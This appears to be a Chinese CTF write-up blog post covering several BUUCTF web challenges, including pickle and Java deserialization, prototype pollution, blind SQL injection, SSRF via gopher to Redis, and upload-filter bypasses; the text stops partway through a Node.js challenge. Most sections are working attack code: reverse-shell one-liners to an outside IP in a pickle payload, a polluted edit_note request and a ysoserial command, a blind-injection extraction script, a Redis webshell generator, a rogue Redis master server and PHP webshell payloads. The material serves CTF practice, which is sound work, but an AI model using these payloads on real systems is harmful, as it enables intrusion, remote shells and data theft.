July 2, 2023

BUUCTF Web Writeup 6

征战第六大陆,开始乱序做题

[HFCTF 2021 Final]easyflask

考点:简单pickle反序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58

#!/usr/bin/python3.6
import os
import pickle

from base64 import b64decode
from flask import Flask, request, render_template, session

app = Flask(__name__)
app.config["SECRET_KEY"] = "*******"

User = type('User', (object,), {
'uname': 'test',
'is_admin': 0,
'__repr__': lambda o: o.uname,
})


@app.route('/', methods=('GET',))
def index_handler():
if not session.get('u'):
u = pickle.dumps(User())
session['u'] = u
return "/file?file=index.js"


@app.route('/file', methods=('GET',))
def file_handler():
path = request.args.get('file')
path = os.path.join('static', path)
if not os.path.exists(path) or os.path.isdir(path) \
or '.py' in path or '.sh' in path or '..' in path or "flag" in path:
return 'disallowed'

with open(path, 'r') as fp:
content = fp.read()
return content


@app.route('/admin', methods=('GET',))
def admin_handler():
try:
u = session.get('u')
if isinstance(u, dict):
u = b64decode(u.get('b'))
u = pickle.loads(u)
except Exception:
return 'uhh?'

if u.is_admin == 1:
return 'welcome, admin'
else:
return 'who are you?'


if __name__ == '__main__':
app.run('0.0.0.0', port=80, debug=False)

构造pickle访问/amdin就会触发

1
2
3
4
5
6
7
8
import pickle
import base64
newp=b'''cos
system
(S'bash -c "bash -i >& /dev/tcp/114.116.119.253/7777 <&1"'
tR.'''
print(newp)
print(base64.b64encode(newp))

把生成的base64替换到session中就好,secretkey在environ里面
image.png

[网鼎杯 2020 青龙组]notes

考点:undefsafe模块原型链污染

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
var express = require('express');
var path = require('path');
const undefsafe = require('undefsafe');
const { exec } = require('child_process');


var app = express();
class Notes {
constructor() {
this.owner = "whoknows";
this.num = 0;
this.note_list = {};
}

write_note(author, raw_note) {
this.note_list[(this.num++).toString()] = {"author": author,"raw_note":raw_note};
}

get_note(id) {
var r = {}
undefsafe(r, id, undefsafe(this.note_list, id));
return r;
}

edit_note(id, author, raw) {
undefsafe(this.note_list, id + '.author', author);
undefsafe(this.note_list, id + '.raw_note', raw);
}

get_all_notes() {
return this.note_list;
}

remove_note(id) {
delete this.note_list[id];
}
}

var notes = new Notes();
notes.write_note("nobody", "this is nobody's first note");


app.set('views', path.join(__dirname, 'views'));
app.set('view engine', 'pug');

app.use(express.json());
app.use(express.urlencoded({ extended: false }));
app.use(express.static(path.join(__dirname, 'public')));


app.get('/', function(req, res, next) {
res.render('index', { title: 'Notebook' });
});

app.route('/add_note')
.get(function(req, res) {
res.render('mess', {message: 'please use POST to add a note'});
})
.post(function(req, res) {
let author = req.body.author;
let raw = req.body.raw;
if (author && raw) {
notes.write_note(author, raw);
res.render('mess', {message: "add note sucess"});
} else {
res.render('mess', {message: "did not add note"});
}
})

app.route('/edit_note')
.get(function(req, res) {
res.render('mess', {message: "please use POST to edit a note"});
})
.post(function(req, res) {
let id = req.body.id;
let author = req.body.author;
let enote = req.body.raw;
if (id && author && enote) {
notes.edit_note(id, author, enote);
res.render('mess', {message: "edit note sucess"});
} else {
res.render('mess', {message: "edit note failed"});
}
})

app.route('/delete_note')
.get(function(req, res) {
res.render('mess', {message: "please use POST to delete a note"});
})
.post(function(req, res) {
let id = req.body.id;
if (id) {
notes.remove_note(id);
res.render('mess', {message: "delete done"});
} else {
res.render('mess', {message: "delete failed"});
}
})

app.route('/notes')
.get(function(req, res) {
let q = req.query.q;
let a_note;
if (typeof(q) === "undefined") {
a_note = notes.get_all_notes();
} else {
a_note = notes.get_note(q);
}
res.render('note', {list: a_note});
})

app.route('/status')
.get(function(req, res) {
let commands = {
"script-1": "uptime",
"script-2": "free -m"
};
for (let index in commands) {
exec(commands[index], {shell:'/bin/bash'}, (err, stdout, stderr) => {
if (err) {
return;
}
console.log(`stdout: ${stdout}`);
});
}
res.send('OK');
res.end();
})


app.use(function(req, res, next) {
res.status(404).send('Sorry cant find that!');
});


app.use(function(err, req, res, next) {
console.error(err.stack);
res.status(500).send('Something broke!');
});


const port = 8080;
app.listen(port, () => console.log(`Example app listening at http://localhost:${port}`))

仔细审一下也就是知道是用undefsafe模块原型链污染,给commands对象加一个恶意的键值对,而我们的undefsafe模块就可以做到这一点:
image.png
如上图所示我们成功的通过原型链污染给commands对象添加了一个键值对{"a":1},那我们只需要细细的发包即可污染
add_note:
author=boogipop&raw=fuck
edit_note:
id=__proto__&author=bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F114.116.119.253%2F7777%20%3C%261%22&raw=bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F114.116.119.253%2F7777%20%3C%261%22
最后访问status去触发rce
image.png

[PwnThyBytes 2019]Baby_SQL

考点:session_upload_progress绕过登录验证,SQL注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
<?php
session_start();

foreach ($_SESSION as $key => $value): $_SESSION[$key] = filter($value); endforeach;
foreach ($_GET as $key => $value): $_GET[$key] = filter($value); endforeach;
foreach ($_POST as $key => $value): $_POST[$key] = filter($value); endforeach;
foreach ($_REQUEST as $key => $value): $_REQUEST[$key] = filter($value); endforeach;

function filter($value)
{
!is_string($value) AND die("Hacking attempt!");

return addslashes($value);
}

isset($_GET['p']) AND $_GET['p'] === "register" AND $_SERVER['REQUEST_METHOD'] === 'POST' AND isset($_POST['username']) AND isset($_POST['password']) AND @include('templates/register.php');
isset($_GET['p']) AND $_GET['p'] === "login" AND $_SERVER['REQUEST_METHOD'] === 'GET' AND isset($_GET['username']) AND isset($_GET['password']) AND @include('templates/login.php');
isset($_GET['p']) AND $_GET['p'] === "home" AND @include('templates/home.php');

?>

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="robots" content="noindex">

<title>Login/Register</title>
<meta name="viewport" content="width=device-width, initial-scale=1">
<link href="//netdna.bootstrapcdn.com/twitter-bootstrap/2.3.2/css/bootstrap-combined.min.css" rel="stylesheet"
id="bootstrap-css">
<style type="text/css">

</style>
<script src="//code.jquery.com/jquery-1.10.2.min.js"></script>
<script src="//netdna.bootstrapcdn.com/twitter-bootstrap/2.3.2/js/bootstrap.min.js"></script>
<script type="text/javascript">
window.alert = function () {
};
var defaultCSS = document.getElementById('bootstrap-css');

function changeCSS(css) {
if (css) $('head > link').filter(':first').replaceWith('<link rel="stylesheet" href="' + css + '" type="text/css" />');
else $('head > link').filter(':first').replaceWith(defaultCSS);
}

$(document).ready(function () {
var iframe_height = parseInt($('html').height());
window.parent.postMessage(iframe_height, 'http://bootsnipp.com');
});
</script>
</head>
<body>
<div class="container">
<div class="row">
<div class="span12">
<div class="" id="loginModal">
<div class="modal-header">
<button type="button" class="close" data-dismiss="modal" aria-hidden="true">×</button>
<h3>Have an Account?</h3>
</div>
<div class="modal-body">
<div class="well">
<ul class="nav nav-tabs">
<li class="active"><a href="#login" data-toggle="tab">Login</a></li>
<li><a href="#create" data-toggle="tab">Create Account</a></li>
</ul>
<div id="myTabContent" class="tab-content">
<div class="tab-pane active in" id="login">
<form class="form-horizontal" method="GET">
<fieldset>
<div id="legend">
<legend class="">Login</legend>
</div>
<div class="control-group">
<!-- Username -->
<label class="control-label" for="username">Username</label>
<div class="controls">
<input type="text" id="username" name="username" placeholder=""
class="input-xlarge">
</div>
</div>
<input type="hidden" name="p" value="login"/>
<div class="control-group">
<!-- Password-->
<label class="control-label" for="password">Password</label>
<div class="controls">
<input type="password" id="password" name="password" placeholder=""
class="input-xlarge">
</div>
</div>


<div class="control-group">
<!-- Button -->
<div class="controls">
<button class="btn btn-success">Login</button>
</div>
</div>
</fieldset>
</form>
</div>
<div class="tab-pane fade" id="create">
<label>Username</label>
<input type="text" name="reg-username" id="reg-username" value="" class="input-xlarge">
<label>Password</label>
<input type="text" name="reg-password" id="reg-password" value="" class="input-xlarge">
<div>
<button id="reg" class="btn btn-primary" onclick="register();">Create Account
</button>
</div>
<br/>
<div id="register-msg"></div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<script type="text/javascript">
function register() {
$.ajax({
type: "POST",
url: "?p=register",
data: "username=" + $("#reg-username").val() + "&password=" + $("#reg-password").val(),
success: function (data) {
if (data.indexOf('successfully') > -1) {
var msg2 = '<div class="alert alert-success" id="msg-verify" role="alert"><strong>' + data + '</div>';
$("#msg-verify").remove();
$("#register-msg").append(msg2);
$("#msg-verify").delay(3200).fadeOut(2000);
}

if (data.indexOf('paranoid') > -1) {
var msg2 = '<div class="alert alert-warning" id="msg-verify" role="alert"><strong>' + data + '</div>';
$("#msg-verify").remove();
$("#register-msg").append(msg2);
$("#msg-verify").delay(3200).fadeOut(2000);
}

if (data.indexOf('Error') > -1) {
var msg2 = '<div class="alert alert-info" id="msg-verify" role="alert"><strong>' + data + '</div>';
$("#msg-verify").remove();
$("#register-msg").append(msg2);
$("#msg-verify").delay(3200).fadeOut(2000);
}

}
});
}
</script>
<!-- /source.zip -->
</body>
</html>

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php

!isset($_SESSION) AND die("Direct access on this script is not allowed!");
include 'db.php';

$sql = 'SELECT `username`,`password` FROM `ptbctf`.`ptbctf` where `username`="' . $_GET['username'] . '" and password="' . md5($_GET['password']) . '";';
$result = $con->query($sql);

function auth($user)
{
$_SESSION['username'] = $user;
return True;
}

($result->num_rows > 0 AND $row = $result->fetch_assoc() AND $con->close() AND auth($row['username']) AND die('<meta http-equiv="refresh" content="0; url=?p=home" />')) OR ($con->close() AND die('Try again!'));

?>

主要就这两个文件,其中第一个文件使用了session_start开启session,并且通过p参数包含templates,然后会对get、post等参数做addslah处理,这样看起来是无懈可击的
但是我们其实是可以直接访问templates/login.php,直接访问就涉及到另一个问题了,那就是session会没掉。因为直接访问是不会开启session_start的,因此这里我们得利用session_upload_progress这个tips,当POST参数有这个数据时,就会自动的session_start一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import requests
url='http://5b7d7949-c24c-4dce-91f3-467360a330e1.node4.buuoj.cn:81/templates/login.php'
files={"file":"123"}
data={"PHP_SESSION_UPLOAD_PROGRESS":"123"}
cookies={"PHPSESSID":"123"}
res=''
for b in range(1,50):
for i in range(30,130):
params={"username":'test" or (ascii(substr((select group_concat(secret) from flag_tbl),'+str(b)+',1))='+str(i)+')#',
"password":"test"}
a=requests.post(url=url,files=files,data=data,cookies=cookies,params=params).text
if 'meta' in a:
res+=chr(i)
print(res)
break

因此写个脚本简单跑一下就出结果拉

[网鼎杯 2020 朱雀组]Think Java

考点:一眼丁真的SQL注入。Java反序列化
开局给源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package cn.abc.core.sqldict;

import java.sql.Connection;
import java.sql.DatabaseMetaData;
import java.sql.DriverManager;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.sql.Statement;
import java.util.ArrayList;
import java.util.List;

public class SqlDict {
public SqlDict() {
}

public static Connection getConnection(String dbName, String user, String pass) {
Connection conn = null;

try {
Class.forName("com.mysql.jdbc.Driver");
if (dbName != null && !dbName.equals("")) {
dbName = "jdbc:mysql://mysqldbserver:3306/" + dbName;
} else {
dbName = "jdbc:mysql://mysqldbserver:3306/myapp";
}

if (user == null || dbName.equals("")) {
user = "root";
}

if (pass == null || dbName.equals("")) {
pass = "abc@12345";
}

conn = DriverManager.getConnection(dbName, user, pass);
} catch (ClassNotFoundException var5) {
var5.printStackTrace();
} catch (SQLException var6) {
var6.printStackTrace();
}

return conn;
}

public static List<Table> getTableData(String dbName, String user, String pass) {
List<Table> Tables = new ArrayList();
Connection conn = getConnection(dbName, user, pass);
String TableName = "";

try {
Statement stmt = conn.createStatement();
DatabaseMetaData metaData = conn.getMetaData();
ResultSet tableNames = metaData.getTables((String)null, (String)null, (String)null, new String[]{"TABLE"});

while(tableNames.next()) {
TableName = tableNames.getString(3);
Table table = new Table();
String sql = "Select TABLE_COMMENT from INFORMATION_SCHEMA.TABLES Where table_schema = '" + dbName + "' and table_name='" + TableName + "';";
ResultSet rs = stmt.executeQuery(sql);

while(rs.next()) {
table.setTableDescribe(rs.getString("TABLE_COMMENT"));
}

table.setTableName(TableName);
ResultSet data = metaData.getColumns(conn.getCatalog(), (String)null, TableName, "");
ResultSet rs2 = metaData.getPrimaryKeys(conn.getCatalog(), (String)null, TableName);

String PK;
for(PK = ""; rs2.next(); PK = rs2.getString(4)) {
}

while(data.next()) {
Row row = new Row(data.getString("COLUMN_NAME"), data.getString("TYPE_NAME"), data.getString("COLUMN_DEF"), data.getString("NULLABLE").equals("1") ? "YES" : "NO", data.getString("IS_AUTOINCREMENT"), data.getString("REMARKS"), data.getString("COLUMN_NAME").equals(PK) ? "true" : null, data.getString("COLUMN_SIZE"));
table.list.add(row);
}

Tables.add(table);
}
} catch (SQLException var16) {
var16.printStackTrace();
}

return Tables;
}
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package cn.abc.core.controller;

import cn.abc.common.bean.ResponseCode;
import cn.abc.common.bean.ResponseResult;
import cn.abc.common.security.annotation.Access;
import cn.abc.core.sqldict.SqlDict;
import cn.abc.core.sqldict.Table;
import io.swagger.annotations.ApiOperation;
import java.io.IOException;
import java.util.List;
import org.springframework.web.bind.annotation.CrossOrigin;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;

@CrossOrigin
@RestController
@RequestMapping({"/common/test"})
public class Test {
public Test() {
}

@PostMapping({"/sqlDict"})
@Access
@ApiOperation("为了开发方便对应数据库字典查询")
public ResponseResult sqlDict(String dbName) throws IOException {
List<Table> tables = SqlDict.getTableData(dbName, "root", "abc@12345");
return ResponseResult.e(ResponseCode.OK, tables);
}
}

单凭这2个类就知道dbName那里是字符串拼贴的,肯定存在SQL注入。这题环境搭的属实不太好,搞得我以为有鉴权,因为我第一次输入dbName就那啥了。报错。。
这题的思路是通过sql注入注出admin账号密码,然后扫描的时候会发现swagger接口,里面有个登录的路由,登录成功响应头有一串序列化后的Base64字符串,分析一波发现貌似是有ROME链,直接打就好。
这里管理员密码也不浪费时间了admin@Rrrr_ctf_asde
image.png
至于是怎么分析出来是ROME的,反正我是不知道,应该是题目给提示了,不然你盲猜ROME是否有点?
那就好说直接掏出payload打了。
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar ROME 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMTQuMTE2LjExOS4yNTMvNzc3NyAwPiYx}|{base64,-d}|{bash,-i}'|base64
得到base64后,在current接口处有一个authorization选项,按照格式Barrier payload填进去就可以反弹shell了
image.png

[CISCN2019 华东北赛区]Web2

考点:XSS+SQL注入
过滤了些东西,常规payload用不了,这里可以用HTML markup&#编码去绕过
https://www.w3.org/MarkUp/html-spec/html-spec_13.html

1
2
3
4
5
xss='''alert(1)'''
output=''
for c in xss:
output += "&#" + str(ord(c))
print("<svg><script>eval&#40&#34" + output + "&#34&#41</script>")

这样就触发了alert,但是靶机无法访问外网,所以这题作废
上号之后就是一个简单的SQL注入

[网鼎杯 2020 玄武组]SSRFMe

考点:parse_url绕过;gopher打redis;主从复制?
这题我居然写了1个小时。我傻逼了真的,真的太傻x了我草。。。。gopher要二次编码的啊沃日

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
<?php
function check_inner_ip($url)
{
$match_result=preg_match('/^(http|https|gopher|dict)?:\/\/.*(\/)?.*$/',$url);
if (!$match_result)
{
die('url fomat error');
}
try
{
$url_parse=parse_url($url);
}
catch(Exception $e)
{
die('url fomat error');
return false;
}
$hostname=$url_parse['host'];
$ip=gethostbyname($hostname);
$int_ip=ip2long($ip);
return ip2long('127.0.0.0')>>24 == $int_ip>>24 || ip2long('10.0.0.0')>>24 == $int_ip>>24 || ip2long('172.16.0.0')>>20 == $int_ip>>20 || ip2long('192.168.0.0')>>16 == $int_ip>>16;
}

function safe_request_url($url)
{

if (check_inner_ip($url))
{
echo $url.' is inner ip';
}
else
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
$output = curl_exec($ch);
$result_info = curl_getinfo($ch);
if ($result_info['redirect_url'])
{
safe_request_url($result_info['redirect_url']);
}
curl_close($ch);
var_dump($output);
}

}
if(isset($_GET['url'])){
$url = $_GET['url'];
if(!empty($url)){
safe_request_url($url);
}
}
else{
highlight_file(__FILE__);
}
// Please visit hint.php locally.
?>

源码是这样,我们可以先去访问hint.php,但在这之前需要绕过一下,有关parse_url的绕过太多了。这里选择htttp:///127.0.0.1/hint.php这样会让它返回一个false而不报错。得到内容如下:

1
2
3
4
5
6
7
8
 <?php
if($_SERVER['REMOTE_ADDR']==="127.0.0.1"){
highlight_file(__FILE__);
}
if(isset($_POST['file'])){
file_put_contents($_POST['file'],"<?php echo 'redispass is root';exit();".$_POST['file']);
}
"

告诉我们redis的密码很明显是打redis,这里不存在啥CRLF去绕过死亡exit,这是迷惑选项,然后打redis的脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from urllib.parse import quote

url="http://localhost:8888/"
protocol="gopher://"
ip="127.0.0.1"
port="6379"
shell="<?php eval($_POST[1]);?>"
filename="shell.php"
path="/var/www/html"
passwd=""
cmd=["auth root",
"set 1 {}".format(shell.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
payload=''
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
CRLF="\r\n"
redis_arr = arr.split(" ")
cmd=""
cmd+="*"+str(len(redis_arr))
for x in redis_arr:
cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
cmd+=CRLF
return cmd
def generate_payload():
global payload
for x in cmd:
payload += quote(redis_format(x))
return payload

print(generate_payload())

得到的payload记得二次编码。然后得到flag
image.png

主从复制?

听说预期解法是主从复制呢,那我们来看看吧。
简单说下原理:

不太难理解,也就是准备个恶意的master服务器就好。

logging.basicConfig(stream=sys.stdout, level=logging.INFO, format=’>> %(message)s’)

DELIMITER = b”\r\n”

class RoguoHandler(socketserver.BaseRequestHandler):
def decode(self, data):
if data.startswith(b’*’):
return data.strip().split(DELIMITER)[2::2]
if data.startswith(b’$’):
return data.split(DELIMITER, 2)[1]

    return data.strip().split()

def handle(self):
    while True:
        data = self.request.recv(1024)
        logging.info("receive data: %r", data)
        arr = self.decode(data)
        if arr[0].startswith(b'PING'):
            self.request.sendall(b'+PONG' + DELIMITER)
        elif arr[0].startswith(b'REPLCONF'):
            self.request.sendall(b'+OK' + DELIMITER)
        elif arr[0].startswith(b'PSYNC') or arr[0].startswith(b'SYNC'):
            self.request.sendall(b'+FULLRESYNC ' + b'Z' * 40 + b' 1' + DELIMITER)
            self.request.sendall(b'$' + str(len(self.server.payload)).encode() + DELIMITER)
            self.request.sendall(self.server.payload + DELIMITER)
            break

    self.finish()

def finish(self):
    self.request.close()

class RoguoServer(socketserver.TCPServer):
allow_reuse_address = True

def __init__(self, server_address, payload):
    super(RoguoServer, self).__init__(server_address, RoguoHandler, True)
    self.payload = payload

if name==’main‘:
expfile = ‘exp.so’
lport = 6379
with open(expfile, ‘rb’) as f:
server = RoguoServer((‘0.0.0.0’, lport), f.read())
server.handle_request()

1
2
3
4
 |
| --- |

放到vps运行,然后gopher脚本还是上面我给的格式,最终payload如下

*2
$4
AUTH
$4
root
*1
$7
COMMAND
*3
$7
slaveof
$12
174.2.41.117
$4
6379
*3
$6
module
$4
load
$10
./dump.rdb
*2
$11
system.exec
$9
cat /flag
*1
$4
quit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
详细可以参考
[https://inhann.top/2021/09/14/redis_master_slave_rce/](https://inhann.top/2021/09/14/redis_master_slave_rce/)
看了一遍讲的很全


# [CISCN2021 Quals]upload

```php
<?php
if (!isset($_GET["ctf"])) {
highlight_file(__FILE__);
die();
}

if(isset($_GET["ctf"]))
$ctf = $_GET["ctf"];

if($ctf=="upload") {
if ($_FILES['postedFile']['size'] > 1024*512) {
die("这么大个的东西你是想d我吗?");
}
$imageinfo = getimagesize($_FILES['postedFile']['tmp_name']);
if ($imageinfo === FALSE) {
die("如果不能好好传图片的话就还是不要来打扰我了");
}
if ($imageinfo[0] !== 1 && $imageinfo[1] !== 1) {
die("东西不能方方正正的话就很讨厌");
}
$fileName=urldecode($_FILES['postedFile']['name']);
if(stristr($fileName,"c") || stristr($fileName,"i") || stristr($fileName,"h") || stristr($fileName,"ph")) {
die("有些东西让你传上去的话那可不得了");
}
$imagePath = "image/" . mb_strtolower($fileName);
if(move_uploaded_file($_FILES["postedFile"]["tmp_name"], $imagePath)) {
echo "upload success, image at $imagePath";
} else {
die("传都没有传上去");
}
}

还扫到个example.php文件,解压用的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php
if (!isset($_GET["ctf"])) {
highlight_file(__FILE__);
die();
}

if(isset($_GET["ctf"]))
$ctf = $_GET["ctf"];

if($ctf=="poc") {
$zip = new \ZipArchive();
$name_for_zip = "example/" . $_POST["file"];
if(explode(".",$name_for_zip)[count(explode(".",$name_for_zip))-1]!=="zip") {
die("要不咱们再看看?");
}
if ($zip->open($name_for_zip) !== TRUE) {
die ("都不能解压呢");
}

echo "可以解压,我想想存哪里";
$pos_for_zip = "/tmp/example/" . md5($_SERVER["REMOTE_ADDR"]);
$zip->extractTo($pos_for_zip);
$zip->close();
unlink($name_for_zip);
$files = glob("$pos_for_zip/*");
foreach($files as $file){
if (is_dir($file)) {
continue;
}
$first = imagecreatefrompng($file);
$size = min(imagesx($first), imagesy($first));
$second = imagecrop($first, ['x' => 0, 'y' => 0, 'width' => $size, 'height' => $size]);
if ($second !== FALSE) {
$final_name = pathinfo($file)["basename"];
imagepng($second, 'example/'.$final_name);
imagedestroy($second);
}
imagedestroy($first);
unlink($file);
}

}

这一题其实就是mb_strtolower函数的一个trick,虽然限制了文件名。但是这个函数可以识别unicode字符。然后由于unicode里好像没有替换p和h的,所以直接替换不了php,因此题目给出了个zip格式,也就是替换i,所以我们的思路就是上传一个恶意的zip然后解压。getshell
制作恶意的图片,用之前文件上传的tool制作。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
0x66, 0x44, 0x50, 0x33);



$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y < sizeof($p); $y += 3) {
$r = $p[$y];
$g = $p[$y+1];
$b = $p[$y+2];
$color = imagecolorallocate($img, $r, $g, $b);
imagesetpixel($img, round($y / 3), 0, $color);
}

imagepng($img,'1.png'); #保存在本地的图片马
?>

然后是unicode字符的fuzz。
https://blog.rubiya.kr/index.php/2018/11/29/strtoupper/
i等价于%C4%B0
image.png
并且使用
#define width 1
#define height 1
去绕过长宽的限制。得到了上传路径,那就是image/1.zip,之后去解压。
image.png
利用的是imagepng函数去储存。
image.png
然后直接访问example/1.php就好。
image.png
绕这么多层。还在etc。

[羊城杯 2020]EasySer

考点:绕死亡exit、ssrf读文件
其实我对藏参数的题一律都是当成傻逼处理的。至少在我这里是这样。藏nm

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
span style="color: #0000BB"><?php
error_reporting(0);
if ( $_SERVER['REMOTE_ADDR'] == "127.0.0.1" ) {
highlight_file(__FILE__);
}
$flag='{Trump_:"fake_news!"}';

class GWHT{
public $hero;
public function __construct(){
$this->hero = new Yasuo;
}
public function __toString(){
if (isset($this->hero)){
return $this->hero->hasaki();
}else{
return "You don't look very happy";
}
}
}
class Yongen{ //flag.php
public $file;
public $text;
public function __construct($file='',$text='') {
$this -> file = $file;
$this -> text = $text;

}
public function hasaki(){
$d = '<?php die("nononon");?>';
$a= $d. $this->text;
@file_put_contents($this-> file,$a);
}
}
class Yasuo{
public function hasaki(){
return "I'm the best happy windy man";
}
}

?>

这是ser.php的内容,源码有提示,robots.txt告诉我们题目的入口,然后才来的上一步
问题是不知道序列化点是吧,所以说藏参数不评价。参数是c。反序列化的点。那pop链就不需要说啥了,简单构造下即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
class GWHT{
public $hero;
}
class Yongen{ //flag.php
public $file;
public $text;
public function __construct($file='',$text='') {
$this -> file = $file;
$this -> text = $text;

}
}
$a=new GWHT();
$b=new Yongen();
$b->file="php://filter/convert.base64-decode/resource=boogipop.php";
$b->text="aaaaaaaPD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+";
$a->hero=$b;
echo urlencode(serialize($a));

image.png
image.png
蚁剑连接后看了下源码,发现真是傻。
既然打不过,那就用魔法打败魔法。
https://github.com/s0md3v/Arjun
这个工具用来杀死藏参数的00CFBF88.png揭开他们的面纱
image.png

[NPUCTF2020]验证🐎

考点:nodejs的无数字字母rce

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
const express = require('express');
const bodyParser = require('body-parser');
const cookieSession = require('cookie-session');

const fs = require('fs');
const crypto = require('crypto');

const keys = require('./key.js').keys;

function md5(s) {
return crypto.createHash('md5')
.update(s)
.digest('hex');
}

function saferEval(str) {
if (str.replace(/(?:Math(?:\.\w+)?)|[()+\-*/&|^%<>=,?:]|(?:\d+\.?\d*(?:e\d+)?)| /g, '')) {
return null;
}
return eval(str);
} // 2020.4/WORKER1 淦,上次的库太垃圾,我自己写了一个

const template = fs.readFileSync('./index.html').toString();
function render(results) {
return template.replace('{{results}}', results.join('<br/>'));
}

const app = express();

app.use(bodyParser.urlencoded({ extended: false }));
app.use(bodyParser.json());

app.use(cookieSession({
name: 'PHPSESSION', // 2020.3/WORKER2 嘿嘿,给👴爪⑧
keys
}));

Object.freeze(Object);
Object.freeze(Math);

app.post('/', function (req, res) {
let result = '';
const results = req.session.results || [];
const { e, first, second } = req.body;
if (first && second && first.length === second.length && first!==second && md5(first+keys[0]) === md5(second+keys[0])) {
if (req.body.e) {
try {
result = saferEval(req.body.e) || 'Wrong Wrong Wrong!!!';
} catch (e) {
console.log(e);
result = 'Wrong Wrong Wrong!!!';
}
results.unshift(`${req.body.e}=${result}`);
}
} else {
results.unshift('Not verified!');
}
if (results.length > 13) {
results.pop();
}
req.session.results = results;
res.send(render(req.session.results));
});

// 2019.10/WORKER1 老板娘说她要看到我们的源代码,用行数计算KPI
app.get('/source', function (req, res) {
res.set('Content-Type', 'text/javascript;charset=utf-8');
res.send(fs.readFileSync('./index.js'));
});

app.get('/', function (req, res) {
